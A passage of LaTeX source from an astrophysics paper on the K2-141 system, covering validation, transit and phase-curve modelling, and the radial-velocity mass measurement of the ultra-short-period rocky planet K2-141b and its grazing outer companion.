After {\tt vespa} calculated the probability of different scenarios, we applied an additional constraint based on our RV observations with HARPS-N. Our numerous HARPS-N observations conclusively ruled out scenarios where the transit signals we see are caused by an eclipsing binary on the foreground star. We therefore reduced the probability of these scenarios to 0. We also took into account the fact that there are multiple transit signals detected in the direction of \mbox{K2-141}. Statistically, candidates around stars hosting more than one possible transit signal are considerably more likely to be genuine exoplanets than those in single-candidate systems\citep{Latham2011, Lissauer2012}. To take this into account, we divided both FPPs by 25 (\citealt{Lissauer2012}, see also \citealt{Sinukoff2016} and \citealt{Vanderburg2016c} who estimated this factor for K2 candidates.). After including these constraints and factors, we calculated false positive probabilities of FPP $< 10^{-4}$ for planet b, and FPP $= 4.8\times10^{-4}$ for planet c. These false positive probabilities are low enough that we consider planet c to be statistically validated, while we consider planet b to be {\em confirmed} by our detection of its spectroscopic orbit with HARPS-N.
\section{Photometric Analysis}\label{sec:photometric_analysis}
After we had identified the two candidate signals, we reprocessed the {\it K2} light curve by simultaneously fitting for the {\it K2} flat field systematics, transit light curves, and stellar variability using the procedure described by \citet{Vanderburg2016}. The final light curve is shown in Figure~\ref{fig:transit_plot}.
\begin{figure}
\includegraphics[width=\linewidth]{figure_04.pdf}
\caption{{\it Top:} Systematics-corrected and normalized {\it K2} light curve (top and bottom panel respectively). {\it Bottom:} The phase-folded light curve for planets b and c with model in red (residuals in panels below)}
\label{fig:transit_plot}
\end{figure}
We modeled the normalized light curve using the {\tt batman} transit model \citep{Kreidberg2015}. We assumed the planets were non-interacting with zero eccentricity orbits. We also accounted for the long cadence integration by including an exposure time of 1764.944s in the model \citep{Kipping2010,Swift2015}. The model included a baseline flux offset parameter, a noise parameter (since the \citealt{Vanderburg2014} reduction method does not produce flux uncertainties), and two quadratic limb-darkening parameters \citep{Kipping2013}. Further, each of the two planets was modeled with five parameters: the epoch (i.e. time of first transit), period, inclination, planetary to stellar radius ratio ($R_\mathrm{p}/$\mbox{$R_\star$} ), and semi-major axis normalized to the stellar radius ($a/$\mbox{$R_\star$} ). Parameters and their uncertainties were estimated using a Markov chain Monte Carlo (MCMC) algorithm with an affine invariant ensemble sampler \citep{GoodmanWeare2010}. We implemented the simulation via the {\tt emcee} Python package \citep{ForemanMackey2013} and ran it with a 28 chain ensemble (twice the number of model parameters). Our model parameters and uncertainties were estimated upon convergence, which we defined as the point in the MCMC simulation when the scale-reduction factor \citep{GelmanRubin1992} was $< 1.1$ for all parameters. The simulation assumed a uniform prior for all parameters except $R_\mathrm{p}/$\mbox{$R_\star$} , for which we applied a log-uniform prior. We also calculated stellar density at each simulation step (by using period and $a/$\mbox{$R_\star$}\ to solve for density with Kepler's third law) and applied a prior penalty by comparing it to our estimate of spectroscopic density and its uncertainties ($2.244 \pm 0.161$ \mbox{$\rho_\odot$} ).
\begin{table}
\caption{Planet parameters from {\it K2} light curve and RV fitting}
\label{table:K2_parameter_planets}
\begin{tabular}{l c c }
\tableline\tableline
Parameter & \mbox{K2-141b} & \mbox{K2-141c} \\
\tableline
$P$ [d] & $0.2803244 \pm 0.0000015 $ & $ 7.74850 \pm 0.00022 $ \\
$T_0$ [d]\tablenotemark{a} & $7744.07160 \pm 0.00022 $ & $ 7751.1546 \pm 0.0010 $ \\
$a$/\mbox{$R_\star$} & $2.292_{-0.060}^{+0.053}$ & $21.59_{-0.74}^{+0.71}$ \\
\mbox{$R_{\rm p}$} /\mbox{$R_\star$} & $0.02037 \pm 0.00046 $ & $0.094_{-0.037}^{+0.061} $ \\
$i$ [deg] & $ 86.3_{-3.6}^{+2.7} (> 82.6)$ & $87.2_{-2.0}^{+1.6} $ \\
\mbox{$R_{\rm p}$}\ [\mbox{R$_\oplus$}] & $ 1.51 \pm 0.05 $ & $7.0 ^{+4.6}_{-2.8}$ \\
\tableline
$K$ [\mbox{m s$^{-1}$} ]\tablenotemark{b} & $6.25 \pm 0.48$ & $ < 3 $\tablenotemark{c} \\
$e$\tablenotemark{d} & 0 & 0 \\
$\omega$ [deg]\tablenotemark{d} & 90 & 90 \\
$\mathcal{M}_0$ [deg]\tablenotemark{b,e} & $ 182.2 \pm 0.6 $ & $ 238.5 \pm 0.1$ \\
\mbox{$M_{\rm p}$}\ [\mbox{M$_\oplus$}]\tablenotemark{b} & $5.08 \pm 0.41$ & $< 7.4 $\tablenotemark{c} \\
$\rho$ [\mbox{$\rho_\oplus$} ] & $1.48 \pm 0.20$ & \\
$\rho$ [${\rm g\, cm^{-3}}$] & $8.2 \pm 1.1$ & \\
\tableline
\end{tabular}
\tablenotetext{a}{Expressed as BJD$_{\rm TDB}$-2450000.0 d}
\tablenotetext{b}{Weighted average of the three methods}
\tablenotetext{c}{84.135$^{\rm th}$ percentile}
\tablenotetext{d}{Fixed}
\tablenotetext{e}{Mean anomaly at the reference time T$_{\text{ref}} = 7779.53438245$, i.\,e. , the average of {\it K2} and HARPS-N epochs }
\end{table}
The confidence intervals of the posteriors of the fitted parameters are reported in Table~\ref{table:K2_parameter_planets}. The posterior distribution of the inclination of planet b is peaked at 90 degrees, hence we reported the 84.135$^{\rm th}$ percentile of the distribution from the peak as the lower limit on the inclination of the inner planet. The inclinations of the two planets are consistent with the two orbits being co-planar, although their posterior distributions peak at different values. The planet radii have been obtained using the stellar parameters in Section~\ref{sec:stellar_parameters}.
\section{Secondary Eclipse and Phase Curve of \mbox{K2-141b}}\label{sec:secondary_analysis}
We modeled the secondary eclipses and phase variations of \mbox{K2-141b}\ using the {\tt spiderman} code \citep{Louden2017arXiv}. We used the primary transit parameters from Table~\ref{table:K2_parameter_planets} and the stellar $T_{{\rm eff}}$\ from Table~\ref{table:stellar_parameters}, with their uncertainties propagated. To account for the long exposure times we {\bf oversampled} the time series by a factor of 11 and then binned these values to get the final model points. The best-fitting parameters with their confidence intervals were obtained with an MCMC analysis using {\tt emcee} \citep[][described in the previous section]{ForemanMackey2013}. For each model we considered, we ran a 30 walker ensemble for 100,000 steps and checked for convergence, discarding the first 10,000 steps as burn in.
Since the planet is so heavily irradiated, it is likely to possess an observable thermal flux in the visual, as well as a reflected light component. We first tested the plausibility of these two models independently, and then combined them.
For the reflection model we assumed that the planet reflects light uniformly as a Lambertian sphere, which translates to a geometric albedo in the {\it Kepler} bandpass. Since {\tt spiderman} models the phase curve and secondary eclipse simultaneously, the geometric albedo is the only additional model parameter over the primary transit model in the previous section.
We measured an occultation depth of $23\pm4$~ppm, meaning the secondary eclipse and phase signal are confidently detected at over 5$\sigma$ significance. The posterior for the geometric albedo has a mode and 68\% Highest Posterior Density (HPD)\footnote{Defined as the shortest possible interval enclosing 68\% of the posterior mass} interval of $0.30 \pm 0.06$. Such a high geometric albedo implies a relatively reflective atmosphere or surface, which would seem to be at odds with such a dense object orbiting so close to its star. The phase-folded data and the best-fitting reflection model are shown in Figure \ref{fig:secondary}
For the thermal model we used the simple physical model described in \citet{Kreidberg2016}, as implemented in {\tt spiderman}.
The free parameters of this model are the planetary Bond albedo, and a day-to-night heat redistribution parameter, while the incident flux on the planet (required by the model) is obtained from the stellar and planetary parameters from the previous sections.
The mode and 68\% HPD interval for the Bond albedo is consistent with zero ($0.01^{+0.05}_{-0.01}$) with an upper limit of 0.37 (99.7$^{\rm th}$ percentile of the distribution). The redistribution factor is also consistent with zero, with a mode and 68\% HPD interval of $0.02^{+0.05}_{-0.02}$ and an upper limit of 0.23 (99.7$^{\rm th}$ percentile). This indicates a sharp day-night contrast, with a substellar surface temperature of 3000 K, or a surface averaged dayside value of $\sim$2400 K.
The maximum nightside temperature achievable in this model is 2100 K with maximum heat redistribution, which does not produce sufficient flux in the {\it Kepler} bandpass to be detected.
However, this cannot rule out a nightside flux of different origin or a systematic underestimation of the total insolation of the planet. To test whether models with nightside flux might be preferred, we fitted the thermal model again, but added an extra free parameter to increase the temperature of the planet. This allows the freedom to fit a model with significant nightside flux, but the same occultation depth. We found no improvement to the fit, meaning there is no evidence for significant nightside flux in the data.
The reflected light and thermal models both produce fits that are comparable, both by eye and in terms of the dispersion of the residuals. Statistically speaking the former is preferred by the Bayesian Information Criterion ($\Delta {\rm BIC} = 12$), the latter having one extra degree of freedom, although the BIC alone is not sufficient to prefer one model over the other \citep[see for example ][for a review of the problems connected with the BIC]{Raftery99bayesfactors}, and a more careful model selection, possibly with the inclusion of new data at a different wavelength, should be performed.
To assess what can be said about the relative contributions of thermal and reflected light in the face of this model degeneracy, we ran a final combined model fit where the planet had both components. Since there is no evidence of nightside flux, we fixed the redistribution parameter of the thermal model to zero, thus these results should be seen as an upper limit.
The results of this analysis are shown in Figure~\ref{fig:contribution}, and show the 1$\sigma$ range of mutually acceptable Bond and geometric albedos. Since the signal can be reproduced satisfactorily with both pure thermal and pure reflective models, there is naturally a near perfect degeneracy. However, future observations at longer wavelengths should distinguish more easily between thermal and reflected light. This could set an upper limit on the Bond albedo for the planet, which would in turn break the degeneracy in this dataset and allow a more stringent upper limit to the geometric albedo to be set.
\begin{figure}\includegraphics[width=\linewidth]{figure_05.pdf}\caption{{\it Top:} The detrended data phase-folded on the period of planet b with the transits of planet c removed, the data have been binned by a factor of thirty for clarity. The size of the error bars is a model parameter, and is set by the maximum likelihood model. The 1 and 3 $\sigma$ credible intervals calculated from the posterior are overplotted in dark and light orange respectively. {\it Bottom:} The residuals to the best fitting model, the binned data are plotted as thick blue lines and the unbinned data is plotted as thin grey lines. All model fits were performed on the unbinned data.}\label{fig:secondary}\end{figure}
\begin{figure}\includegraphics[width=\linewidth]{figure_06.pdf}\caption{The best fitting visual geometric albedo as a function of the Bond albedo. The shaded area is the 68\% credible region for the geometric albedo, calculated using slices of the MCMC posterior. The corresponding substellar temperature for the planet is plotted on the top axis, and the fraction of the occultation depth from the reflected light alone is calculated using the best fitting Bond albedo for the corresponding visual albedo.}\label{fig:contribution}\end{figure}
\section{Radial Velocity Analysis}\label{sec:radial_velocity_analysis}
The twofold observational strategy we adopted to gather the RVs (see Section~\ref{sec:radial_velocities}), together with the high precision of the {\it K2} light curve and the availability of reliable spectroscopic activity indices (thanks to the brightness of the star) allow us to model stellar activity with three different, complementary techniques, thus allowing an accurate determination of the planetary mass.
The analyses were performed assuming circular orbits for both planets. The circularization time scale for planet b is very short, given its short orbital period, and eccentricity excitation due to dynamical interactions with the outer planet are unlikely due to their separation in period, in addition to the fact that the architectures of USP systems seem dynamically cold \citep{Dai2017arXiv}. The adopted parameters are listed in Table~\ref{table:K2_parameter_planets} and correspond to the weighted average of the three techniques. In the following, confidence intervals are calculated by taking the 15.865$^{\rm th}$ and the 84.135$^{\rm th}$ percentiles of the posterior distributions, while upper limits are expressed as the 84.135$^{\rm th}$ percentile of the posterior.
\subsection{Nightly RV offsets}\label{sec:nightly-rv-offsets}
When the periodicity of the stellar activity is well separated from the orbital period of the planet, as in our case ($P_{\rm act} / P_{orb} \simeq 50 $), we can assume that the RV variation due to the activity, as well as the RV contribution from the outer planet, are constant within an orbital period of the USP planet. Since the nightly visibility window of our target from La Palma was shorter than the orbital period of the planet, this approach simply transforms into applying a nightly offset to our RV dataset. For this analysis we considered only those nights when at least two RVs were collected, for a total of 40 RVs across 15 nights. On the night of September 14th 2017, 9 consecutive RVs were gathered across 5.1 hours (0.21 days), almost covering a full orbital period.
We performed the analysis using the {\tt PyORBIT} code. Global optimization of the parameters was performed using the differential evolution code {\tt pyDE}\footnote{Available at \url{https://github.com/hpparvi/PyDE}}; the output was then fed to {\tt emcee} for a Bayesian estimation of the parameters and their errors. We used uninformative priors for all parameters except for the period of planet b, where we assumed a Gaussian prior with center and standard deviation set to the value and uncertainty obtained from the {\it K2} light curve (Section~\ref{sec:photometric_analysis}). The central time of transit was provided as input data. We used 80 walkers (4 times the number of free parameters) running for 50000 steps, of which the first 20000 were discarded as burn-in phase (although the Gelman-Rubin criterion for convergence was already met after a few thousand steps). After applying a thinning factor of 100 we were left with 24000 independent samplings for each parameter. We obtained an RV semi-amplitude of $K = 6.10 \pm 0.47$~\mbox{m s$^{-1}$} , corresponding to a planetary mass of \mbox{$M_{\rm p}$}~$=4.96 \pm 0.39$~\mbox{M$_\oplus$}\ after taking into account the uncertainty on orbital inclination and stellar mass. The phase-folded RVs with their residuals are shown in the first panel of Figure~\ref{fig:three_techniques}.
\subsection{GPs and {\it K2} light curve}\label{sec:gps-k2-light}
The next approach assumes that light curve variations and activity signals in the RVs can be described by a GP with the same kernel and common hyper-parameters except for the covariance amplitude $h$, which is specific for each dataset.
We performed the analysis using the {\tt PyORBIT} code with the same kernel choice as described in Section~\ref{sec:stellar_activity}. As shown by \cite{Grunblatt2015} the quasi-periodic kernel is the best choice to model photometric and RV variations while preserving a physical interpretation of the hyper-parameters.
We modeled the {\it K2} light curve and the RVs simultaneously, to better understand correlations between the hyper-parameters and the orbital parameters. We then repeated the analysis without including the {\it K2} light curve but using the values obtained in Section~\ref{sec:stellar_activity} as priors on the hyper-parameters, with error bars enlarged by a factor of three to take into account a possible change in behavior of stellar activity during the time span between photometric and RV data. Differently from the previous approach, we included both planets in the model.
We ran the sampler for the same number of step as in Section~\ref{sec:nightly-rv-offsets}, using 68 walkers (four times the dimensionality of the model) for a total of 20400 independent samples when including the {\it K2} light curve, and 56 walkers for 16800 independent samples when imposing priors on the hyper-parameters. We followed the same criteria for convergence. The posteriors of the orbital parameters obtained in the two cases (i.\,e. , with the {\it K2} light curve or imposing the priors) are nearly indistinguishable, i.\,e. , we are not limited by the precise choice of the GP hyper-parameters.
For planet b we obtained an RV semi-amplitude of $K = 6.34 \pm 0.49 $ \mbox{m s$^{-1}$} , corresponding to a planetary mass of \mbox{$M_{\rm p}$} $= 5.15 \pm 0.42 $ \mbox{M$_\oplus$} , while planet c was undetected, with a posterior distribution of $K_c$ peaked at zero and an upper limit of $K_c < 3.8 $ \mbox{m s$^{-1}$} . When including the {\it K2} data we obtained the same hyper-parameters as in Section~\ref{sec:stellar_activity} and a covariance amplitude $h_{\rm RV} = 11.4 \pm 2.5$~\mbox{m s$^{-1}$} , confirming the high level of activity of the star. The GP regression and the Keplerian contributions to the RVs are shown in the upper panel of Figure~\ref{fig:GP_comparison}. The phase-folded RVs with their residuals for planet b are shown in the second panel of Figure~\ref{fig:three_techniques}.
\subsection{GPs and activity indices}\label{sec:gps-activity-indices}
In a third approach, we performed a combined analysis of RVs and activity indices using the GP framework introduced in \citet[][hereafter R15]{Rajpaul2015} and \citet{Rajpaul2016}. This framework was designed specifically to model RVs jointly with activity diagnostics even when simultaneous photometry is not available. It models both activity indices and activity-induced RV variations as a physically-motivated manifestation of a single underlying GP and its derivative.
We used R15's framework to derive a constraint on the activity component of the RVs, and joint constraints on the masses of planets b and c, independently of the approach based on the {\it K2} photometry. For this analysis, we modelled the \mbox{S$_{\rm HK}$}, BIS and RV measurements simultaneously. Given strong observed linear correlations between \mbox{S$_{\rm HK}$}\, CCF contrast and FWHM (Pearson correlation coefficients $\rho\sim0.8$, see Figure~\ref{fig:GLS_correlations}), modelling the latter two time series in addition to \mbox{S$_{\rm HK}$}\ would have been redundant, as they would not have provided independent constraints on activity-induced RV variations.
We used a GP with quasi-periodic covariance kernel, as presented in R15, to model stellar activity, while we considered as a GP mean function either zero, one, or two non-interacting zero-eccentricity Keplerian signals (no planets, planet b only, and planets b and c) in the RVs only. We placed non-informative priors on all parameters related to the activity components of the GP framework (see R15); the priors we placed on the Keplerian orbital elements were the same as those in the preceding analyses.
We performed all parameter and model inference using the {\tt MultiNest} nested-sampling algorithm, with $2000$~live points and a sampling efficiency of $0.3$.
For planet b we obtained a RV semi-amplitude of $K_b = 6.31 \pm 0.49 $~\mbox{m s$^{-1}$} , corresponding to a planetary mass of $M_b= 5.14 \pm 0.42 $~\mbox{M$_\oplus$}\ (third panel of Figure~\ref{fig:three_techniques}), while planet c was again undetected but with a lower value on the upper limit for its RV semi-amplitude, $K_c < 1.9 $~\mbox{m s$^{-1}$} .
We obtained GP hyper-parameters of $P_{\rm GP}=12.8\pm0.5$~d (overall period for the activity signal), $\lambda_{\rm p}=1.1^{+0.2}_{-0.1}$ (inverse harmonic complexity, with this inferred value suggesting an activity signal with harmonic content only moderately higher than a sinusoid), and $16^{+7}_{-5}$~d (activity signal evolution time scale). For the other hyperparameters we obtained $V_r = 66_{-13}^{+17}$~\mbox{m s$^{-1}$}\ and $V_c=-7.8_{-6.5}^{+5.3}$~\mbox{m s$^{-1}$}\ for the RVs , $L_c = 0.117_{-0.026}^{+0.033}$ for the \mbox{S$_{\rm HK}$}\ index, $B_r = 30_{-8}^{+11}$~\mbox{m s$^{-1}$}\ and $B_c = -46_{-13}^{+10}$~\mbox{m s$^{-1}$}\ for the BIS. The best fit model is represented in the bottom panel of Figure~\ref{fig:GP_comparison}. Note that these parameters should not be compared directly with those reported in Sections~\ref{sec:stellar_activity} and \ref{sec:gps-k2-light}, as they are inferred based on fitting a combination of a quasi-periodic GP and its derivative to the RVs and multiple activity indices, while in the previous approach only the GP (without its derivative) is considered.
\begin{figure}
\includegraphics[width=\linewidth]{figure_07.pdf}
\caption{Phase-folded RV fit with residuals for the three methods used in the analysis. For this plot we used the maximum {\it a posteriori} (MAP) parameter estimates. }
\label{fig:three_techniques}
\end{figure}
\begin{figure}
\includegraphics[width=\linewidth]{figure_08.pdf}
\caption{Comparison of the combined stellar activity and planetary models obtained when using GP constrained by the {\it K2} light curve (upper panel) or the activity indices (lower panel). The blue curve represents the Keplerian contribute (using the MAP parameters), the black curve with the gray shaded area represents the GP regression with its 1$\sigma$ confidence interval.}
\label{fig:GP_comparison}
\end{figure}
\subsection{Effects of time integration}\label{sec:effects-time-integr}
For USP planets the variation of the RV curve during the time of one integration may become relevant. In our case, the exposure time of 1800 seconds (chosen to reach a good precision in RV) covers 8\% of the RV curve of the inner planet. While this problem is not new in the exoplanet literature (e.\,g. , in the analysis of the Rossiter-McLaughlin effect, \citealt{Covino2013}), it has never been addressed when dealing with RV fits for planet mass measurement.
We proceeded as follows to estimate the systematic error in the semi-amplitude of planet b due to integration time: we computed a theoretical RV curve given the orbital parameters of the planet using a sampling of 180 seconds, then we binned this curve over ten points (corresponding to our integration time) and we measured the semi-amplitude $K_{\rm obs}$ of the resulting curve. By varying the input $K_{\rm true}$ we found that the $\Delta K = K_{\rm true}-K_{\rm obs}$, i.\,e. , the correction to be applied to the observed semi-amplitude to recover the true value, is a linear function of $K_{\rm obs}$ with slope $9.07 \times 10^{-3}$ and null intercept. This suggests that the values of the semi-amplitude obtained by our fits are systematically underestimated by $\simeq 0.05$ \mbox{m s$^{-1}$} , i.\,e. , well below the precision to which we can determine $K$.
In a conceptually similar case involving a white dwarf orbiting a brown dwarf in a 91-minutes orbit, \cite{Rappaport2017} computed analytically the correction factor to be applied to an RV at a given epoch to take into account the finite exposure time (Equation~2 of their paper). By applying their equation, we obtain that the measured semi-amplitude is underestimated by a factor of $0.99$ ($\sim 0.06$~\mbox{m s$^{-1}$} ) with respect to the true value, in agreement with our previous estimate.
\subsection{The mass of planet c}\label{sec:mass-planet-c}
A commonly-encountered concern regarding GPs is that they may be flexible enough to wrongly `absorb' a planetary signal as stellar activity, resulting in a non-detection as in our case. Our GP-based methods are able to disentangle stellar signals from planetary ones even in cases where their periods are identical \citep[see e.g.][]{Mortier2016}, given that the latter would not in general have coherent phase and constant shape and amplitude over multiple stellar rotation periods. The GP component of the model is associated with a much higher complexity penalty than any Keplerian components, so the latter would be preferred regardless of the time span covered by the observations. In our case, the orbital period of planet c is close (but not identical) to the first harmonic of the rotational period of the star, so the previous considerations should remain valid. Nevertheless, we verified that with our tools we were always able to correctly retrieve injected RV signals with period and phase corresponding to planet c for several values of the semi-amplitude in the range between 1 and 20 \mbox{m s$^{-1}$} . This test also confirmed that our detection limit is not biased by the sampling of the observations.
In the previous section we carried out the RV analyses with a 2-planet model, motivated by the fact that we identified two planets in the {\it K2} light curve, and we confirmed that the semi-amplitude of planet c is consistent with zero using two complementary approaches to model stellar activity. The choice of the model can, however, strongly affect the outcome of the analysis \cite[see][for a recent example]{2017arXiv170706192R}; for example, the inferred parameters for planet b might be biased by the presence of a spurious second Keplerian term in the model, if indeed there is no detectable RV signal for planet c. We repeated the analyses by including only planet b in the model, and obtained posterior distributions for the orbital parameters and the GP hyper-parameters compatible with those of the 2-planet model, well within the 1$\sigma$ error bars. For the GP $+$ activity indices we also computed log model likelihoods (evidences) of $\ln \mathcal{Z}_0=-4.2\pm0.1$, $\ln\mathcal{Z}_1=33.3\pm0.1$ and $\ln\mathcal{Z}_2=33.8\pm0.1$ for the 0-, 1- and 2-planet models, respectively. On this basis we concluded that the model corresponding to an RV detection of planet b was favoured decisively over a zero-planet model, with a Bayes factor of $\mathcal{Z}_1/\mathcal{Z}_0\gtrsim10^{16}$. The Bayes factor $\mathcal{Z}_2/\mathcal{Z}_1\sim1.5$, however, indicated that there was no evidence to favour the more complex 2-planet model over the simpler 1-planet model.\footnote{We also considered non-circular orbits for planet c, but again this led to a non-detection. Moreover, the posterior distribution for the eccentricity was compatible with zero, with the simpler circular model being favoured with a Bayes factor $>10$.}
From our data, then, we are not able to recover the RV semi-amplitude of the outer planet. Our two GP-based modelling approaches yield different upper limits on the semi-amplitude of planet c, $K^{\rm GP+{\it K2}}_c < 3.9$ \mbox{m s$^{-1}$}\ versus $K^{\rm GP+act}_c < 1.9$ \mbox{m s$^{-1}$} , possibly due in part to the different stellar rotational periods inferred by the two approaches, $P_{\rm rot}^{\rm GP+{\it K2}} = 13.9 \pm 0.2$~d versus $P_{\rm rot}^{\rm GP+act} = 12.8 \pm 0.5$~d, with the former being closer to twice the orbital period of the outer planet. It should be noted that the former rotational period is mainly driven by the {\it K2} photometry, which is more sensitive to the presence of starspots, while the latter is influenced by the \mbox{S$_{\rm HK}$}\ index which probes the stellar chromosphere and is thus more sensitive to the suppression of granular blueshift in magnetized regions of the star, as noted by \cite{Haywood2016}. The apparent discrepancy between the two measurements is likely due to the fact that we are sensing different physical effects.
From the posterior distribution of the semi-amplitude obtained in Section~\ref{sec:gps-activity-indices}, we can safely assume an upper limit for the RV signal induced by planet c of $K_{\rm c}=3 $ \mbox{m s$^{-1}$}\ (average of the upper limits obtained with two techniques), which translates into an upper limit on the mass of $\simeq 7.4$~\mbox{M$_\oplus$} .
\section{Discussion and conclusions}\label{sec:disc-concl}
We presented the validation and high-precision RV follow-up of two transiting planets discovered in the {\it K2} light curve of the very active star \mbox{K2-141} . The innermost planet has a period of 0.28 days and falls into the category of so-called ultra-short period (USP) planets.
We applied three independent but complementary approaches in an attempt to minimize the effects of our assumptions when modelling the stellar activity signals. Namely, we used the nightly offsets to remove all the signals with time scale larger than the period of the inner planet; a GP approach where the values of the hyper-parameters are mostly driven by (non-simultaneous) high precision photometry; and a GP approach where the simultaneous activity indices are modelled with the same underlying model for the stellar activity in the RVs, without relying on photometry.
Figure~\ref{fig:GLS_residuals} shows the lack of correlation of activity indices with the RVs after removing only the activity, i.\,e. , there is no correlation between the planetary signals and the activity indices.
Notably, the three complementary methods all yielded the same conclusions, resulting in a mass measurement for the innermost planet that is not only precise but also robust. The nightly offset approach resulted in a slightly smaller semi-amplitude of planet b ($K_b = 6.1 \pm 0.5$~\mbox{m s$^{-1}$} ) with respect to the GP approaches ($K_b = 6.3 \pm 0.5$~\mbox{m s$^{-1}$} ),
well within the error bars. \mbox{K2-141b}\ is thus confirmed at over 12$\sigma$ confidence.
We measured a radius of $R_b = 1.51 \pm 0.05 $~\mbox{R$_\oplus$}\ from {\it K2} light curve and a mass of $M_b = 5.1 \pm 0.4$~\mbox{M$_\oplus$}\ from HARPS-N spectra, resulting in a density of $\rho _b = 1.48 \pm 0.20 $~\mbox{$\rho_\oplus$}\ $ = 8.2 \pm 1.1$~${\rm g\, cm^{-3}}$.
\mbox{K2-141b}\ joins the small sample of USP planets with precisely known masses and radii, shown in Figure~\ref{fig:mass_radius_diagram}: 55 Cnc e \citep{Mcarthur2004, Winn2011, Demory2011, Nelson2014, Demory2016b}, CoRoT-7b \citep{Leger2009, Queloz2009, Haywood2014}, WASP-47e \citep{Becker2015, Dai2015, Sinukoff2017b,Vanderburg2017}, Kepler-78b \citep{SanchisOjeda2013, Pepe2013, Howard2013,Hatzes2014, Grunblatt2015}, Kepler-10b \citep{Batalha2011,Dumusque2014,Weiss2016,2017arXiv170706192R}, K2-131b \citep{Dai2017arXiv}, HD3167b \citep[][respectively labeled as C17 and G17 in the plot]{Vanderburg2016c, Christiansen2017,Gandolfi2017}, K2-106b \citep[][S17 and G17 respectively]{Sinukoff2017,Guenther2017}. Notably, the last two planets have two independent density measurements which are not consistent with each other, resulting in a disagreement in the interpretation of the internal composition. The density of \mbox{K2-141b}\ is consistent with a rocky terrestrial compositions, i.\,e. , mainly silicates and iron, most probably with a large iron core between 30\% and 50\% of the total mass. From our density estimate we can exclude the presence of a thick envelope of volatiles or H/He on the surface of the planet.
\begin{figure*}
\includegraphics[width=\linewidth]{figure_09.pdf}
\caption{Activity indices versus radial velocity, after removing the contribution of activity from the latter. We used the same limits as Figure~\ref{fig:GLS_correlations}.}
\label{fig:GLS_residuals}
\end{figure*}
\begin{figure*}
\includegraphics[width=\linewidth]{figure_10.pdf}
\caption{Mass-radius diagram for the known USP planets, color-coded according to their incident flux. Grey points represent planets with period longer than one day and mass measurement more precise than 30\%.}
\label{fig:mass_radius_diagram}
\end{figure*}
We detected and analyzed the secondary eclipse and phase curve variation of planet b. The data is compatible with either a thermal emission of 3000~K from the day-side and an upper limit of 0.37 (99.7$^{\rm th}$ percentile) on the Bond albedo, or a planet with geometric albedo of $0.30 \pm 0.6$. The {\it Kepler} bandpass does not allow us to distinguish between the two models, with the truth characteristics of the planet probably lying between the two models. Infrared observations with the {\it Hubble Space Telescope} and the forthcoming {\it James Webb Space Telescope} will be able to refine the Bond albedo and thus constrain the geometric albedo of the planet.
The second planet has a period of around 7.75 day and since its transits are grazing, its radius cannot be measured precisely ($R_p = 7.0 ^{+4.6}_{-2.8}$ \mbox{R$_\oplus$}). The mass of \mbox{K2-141} c is also not measured precisely because the planet's orbital period is close to the first harmonic of the rotational period of the star and/or because its RV signal may simply be too small to detect. From our dataset we were only able to put an upper limit on the planet's mass of $\simeq 8$~\mbox{M$_\oplus$}\ (84.135$^{\rm th}$ percentile of the distribution). Due to the weak constraints on the mass and radius of planet c, we are not able to shed much light on its likely composition, but our mass limit suggests that the planet is more likely a mini-Neptune or a Neptune-like planet with a thick envelope than a rocky planet or a HJ. The discovery of a second planet in a grazing configuration, initially missed by automatic pipelines, corroborates the previously observed trend that USP planets are often found in multi-planet systems \citep{SanchisOjeda2014}.
\begin{acknowledgements}
The HARPS-N project was funded by the Prodex Program of the Swiss Space Office (SSO), the Harvard- University Origin of Life Initiative (HUOLI), the Scottish Universities Physics Alliance (SUPA), the University of Geneva, the Smithsonian Astrophysical Observatory (SAO), and the Italian National Astrophysical Institute (INAF), University of St. Andrews, Queen's University Belfast and University of Edinburgh.
The research leading to these results received funding from the European Union Seventh Framework Programme (FP7/2007- 2013) under grant agreement number 313014 (ETAEARTH).
VMR acknowledges the Royal Astronomical Society for financial support.
MHK acknowledges Allan R. Schmitt for his continuous effort to develop LcTools.
This work was performed in part under contract with the California Institute of Technology/Jet Propulsion Laboratory funded by NASA through the Sagan Fellowship Program executed by the NASA Exoplanet Science Institute.
This work has been carried out in the frame of the National Centre for Competence in Research PlanetS supported by the Swiss National Science Foundation (SNSF). DE, CL, FB, DS, FP and SU acknowledge the financial support of the SNSF. DE acknowledges support from the European Research Council (ERC) under the European Union’s Horizon 2020 research and innovation programme (project {\sc Four Aces}; grant agreement No 724427).
PF acknowledges support by Funda\c{c}\~ao para a Ci\^encia e a Tecnologia (FCT) through Investigador FCT contract of reference IF/01037/2013/CP1191/CT0001, and POPH/FSE (EC) by FEDER funding through the program ``Programa Operacional de Factores de Competitividade - COMPETE''. PF further acknowledges support from FCT in the form of an exploratory project of reference IF/01037/2013/CP1191/CT0001.
Parts of this work have been supported by NASA under grants No. NNX15AC90G and NNX17AB59G issued through the Exoplanets Research Program.
Based on observations made with the Italian Telescopio Nazionale Galileo (TNG) operated on the island of La Palma by the Fundación Galileo Galilei of the INAF (Istituto Nazionale di Astrofisica) at the Spanish Observatorio del Roque de los Muchachos of the Instituto de Astrofisica de Canarias.
This research has made use of the SIMBAD database, operated at CDS, Strasbourg, France
This publication makes use of data products from the Two Micron All Sky Survey, which is a joint project of the University of Massachusetts and the Infrared Processing and Analysis Center/California Institute of Technology, funded by the National Aeronautics and Space Administration and the National Science Foundation.
This research has made use of the Exoplanet Follow-up Observation Program website, which is operated by the California Institute of Technology, under contract with the National Aeronautics and Space Administration under the Exoplanet Exploration Program.
This paper includes data collected by the Kepler mission. Funding for the Kepler mission is provided by the NASA Science Mission directorate.
Some of the observations in the paper made use of the NN-EXPLORE Exoplanet and Stellar Speckle Imager (NESSI). NESSI was funded by the NASA Exoplanet Exploration Program and the NASA Ames Research Center. NESSI was built at the Ames Research Center by Steve B. Howell, Nic Scott, Elliott P. Horch, and Emmett Quigley.
\end{acknowledgements}
\software{LcTools \citep{Kipping2015}, DRS, CCFpams \citep{Malavolta2017b}, ARES (v2; \citealt{Sousa2015}), MOOG \citep{Sneden1973}, ATLAS9 \citep{Castelli2004}, SPC \citep{Buchhave2012, Buchhave2014}, isochrones \citep{Morton2015}, MultiNest \citep{Feroz2008,Feroz2009,Feroz2013}, MIST \citep{Dotter2016,Choi2016,Paxton2011}, PyORBIT (v5; \citealt{Malavolta2016}), george \citep{Ambikasaran2015}, vespa \citep{Morton2015b}, emcee \citep{ForemanMackey2013}, spiderman \citep{Louden2017arXiv}, pyDE \citep{Parviainen2016}}
\bibliographystyle{aasjournal}
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1,477,468,750,033 | arxiv | \section{Introduction}
